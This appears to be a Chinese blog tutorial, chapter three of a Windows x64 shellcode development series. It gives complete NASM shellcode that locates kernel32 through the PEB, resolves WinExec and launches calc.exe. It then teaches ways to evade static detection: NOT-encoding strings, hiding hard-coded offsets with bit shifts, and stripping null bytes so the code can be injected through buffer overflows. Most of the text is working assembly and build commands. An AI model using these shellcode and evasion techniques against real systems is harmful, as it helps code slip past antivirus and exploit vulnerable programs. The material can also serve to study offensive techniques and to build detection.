WIndows x64 ShellCode开发 第三章 x64汇编细节点

文章目录

WIndows x64 ShellCode开发 第三章 x64汇编细节点

在ShellCode开发中原生无更改的ShellCode特征没有隐藏,并且还存在一些影响稳定性的因素,这一篇就x64编写ShellCode的细节进行探究。

一、位命令消除编译链接产生的字符串

strings命令查看一下我们前面章节弹calc计算器的ShellCode,发现很明显的存在两个字符串,WinExeccalc.exe,这让我们的ShellCode在静态规避方面是十分弱势的,但是我们可以使用汇编中的位命令进行消除与规避。

复制代码
strings winexec.exe

我们使用NOT(按位取反)命令,在汇编存储的时候使用编码值,运行时执行not rax

复制代码
mov rax,字符串Hex
	|
	|
	↓
mov rax,字符串Hex的NOT编码值
not rax

实例(我们可以用WIndows带的计算器进行编码运算)

复制代码
mov rax,0xFF9C9A87BA9196A8     ; WinExec\0 编码值
not rax

mov rax,0x9A879AD19C939E9C    ;  calc.exe 编码值
not rax

汇编代码

asm 复制代码
BITS 64
SECTION .text
global main

main:
    sub rsp, 0x28
    and rsp, 0xFFFFFFFFFFFFFFF0          ; x64 必须 16 字节对齐

    xor rcx, rcx
    mov rax, [gs:0x60]            		 ; PEB
    mov rax, [rax + 0x18]                ; PEB->Ldr
    mov rsi, [rax + 0x10]				; 加载顺序模块链表地址
    mov rsi, [rsi]
    mov rsi, [rsi]
    mov rbx, [rsi + 0x30]                ; kernel32.dll base
    mov r8, rbx

    mov ebx, [rbx + 0x3C]
    add rbx, r8
    mov edx,[rbx+0x88]		; PE头+可选头的偏移0x88处是"导出表数据目录项"
    add rdx, r8
    mov r10d, [rdx + 0x14]
    xor r11, r11
    mov r11d, [rdx + 0x20]
    add r11, r8
    mov rcx, r10
    mov rax, 0xFF9C9A87BA9196A8          ; ← 计算器算出的 NOT("WinExec\0")
    not rax                              ; 解码 → "WinExec\0"
    push rax
    mov rdi, rsp                    
    add rsp, 8                          

kernel32findfunction:
    jecxz FunctionNameNotFound
    xor ebx, ebx
    mov ebx, [r11 + rcx*4]
    add rbx, r8
    dec rcx
    mov r9, qword [rdi]                  ; 用 rdi 比较
    cmp [rbx], r9
    jz FunctionNameFound
    jnz kernel32findfunction

FunctionNameNotFound:
    int3

FunctionNameFound:
    inc ecx
    xor r11, r11
    mov r11d, [rdx + 0x1c]
    add r11, r8
    mov r15d, [r11 + rcx*4]
    add r15, r8                          ; r15 = WinExec 地址

    xor rax, rax
    push rax                             ; 先压 \0
    mov rax, 0x9A879AD19C939E9C          ; ← 计算器算出的 NOT("calc.exe")
    not rax                              ; 解码 → "calc.exe"
    push rax
    mov rcx, rsp                         ; rcx = "calc.exe\0"
	mov rdx,1                        
    sub rsp, 0x30                        
    call r15                             
复制代码
nasm.exe -f win64 winexec.asm
gcc -m64 -o winexec.exe winexec.obj -lkernel32 -nostartfiles

编译链接后再用Strings查看winexec.exe的字符串

复制代码
strings winexec.exe

可以发现没有任何的输出,这就说明我们成功移除了汇编编译链接后产生的字符串

二、隐藏硬编码偏移
asm 复制代码
xor rcx, rcx       ; rcx = 0
mov cl, 0x11       ; cl = 0x11 (低8位)
shl rcx, 3         ; 0x11 << 3 = 0x88 (左移3位 = 乘以8)
mov edx, [rbx + rcx] ; edx = [rbx + 0x88]
asm 复制代码
mov edx,[rbx+0x88] 	; PE头+可选头的偏移0x88处是"导出表数据目录项"

两者执行结果一致,但是前一个命令利用移位指令隐藏了[访问 0x88 偏移]的硬编码

三、移除零坏字符

当我们使用一些汇编指令的时候,最终会在代码中产生不少的空字节,如果我们将ShellCode应用在缓冲区溢出处,代码中存在的\x00会直接被截断导致程序错误,再一个就是当进行字符串复制等操作时,函数一旦遇到\x00直接停止,整个程序也会崩溃。

下面则讲一下最常见的汇编处理方法

  1. 寄存器清零操作

    asm 复制代码
    mov eax, 0	; 	原始写法
    asm 复制代码
    xor rax, rax	; 消除写法
  2. 设置小整数1操作

    asm 复制代码
    mov edx, 1	; 原始写法
    asm 复制代码
    xor rdx, rdx
    inc rdx		; 消除写法
  3. 无用跳转命令

    asm 复制代码
    js label1	; 如果说标签就在下一行命令就不用写多余的跳转命令了
    jmp label2	; ,写了反而增加多余的零字符
  4. 字符串结尾NULL终止符

    asm 复制代码
    mov rax,0x00636578456E6957	; 原始写法,有00
    asm 复制代码
    mov rax, 0x90636578456E6957
    shl rax, 0x8
    shr rax, 0x8	; 先用0x90占位,然后右移两次复原
  5. 导出表偏移(0x88)

    asm 复制代码
    mov edx, [rbx + 0x88]	; 原始写法
    asm 复制代码
    xor rcx, rcx
    add cx, 0x88ff
    shr rcx, 0x8				; 消除写法,不直接写0x88,
    mov edx, [rbx + rcx]		; 先写16位的0x88ff,再进行移位指令
相关推荐
为何创造硅基生物10 小时前
嵌入式 LVGL / SquareLine UI 标准命名规则(行业通用版)
windows·ui
十八旬11 小时前
快速安装ClaudeCode完整指南
开发语言·windows·python·claude
谁的小耳朵13 小时前
一次小米电脑管家安装失败排查:官网安装包闪退,最后发现是埋点接口异常
windows
x***r15114 小时前
DLL错误专修工具_TBI3264安装步骤详解(附DLL缺失一键修复与运行库安装教程)
windows
阿萨德528号18 小时前
Windows RabbitMQ 启动完整指南(附启动报错解决、如何以服务方式后台运行)
windows·rabbitmq·ruby
私人珍藏库18 小时前
[吾爱大神原创工具] 鼠标轨迹美化工具
windows·工具·鼠标·软件·win·多功能
小小测试开发18 小时前
AI Agent 重构单体应用实战:1Password 经验与避坑指南
人工智能·windows·重构
您^_^19 小时前
专家(一):Claude Code 微服务实战——6 个服务从拆分到 K8s 部署,$0.45 全套 YAML 照抄
人工智能·windows·微服务·架构·kubernetes·个人开发·claude code
TE-茶叶蛋19 小时前
Java 8 引入的Stream API-stream()
java·windows·python
lei_68619 小时前
Microsoft Office Click-to-Run Service关闭服务
windows·microsoft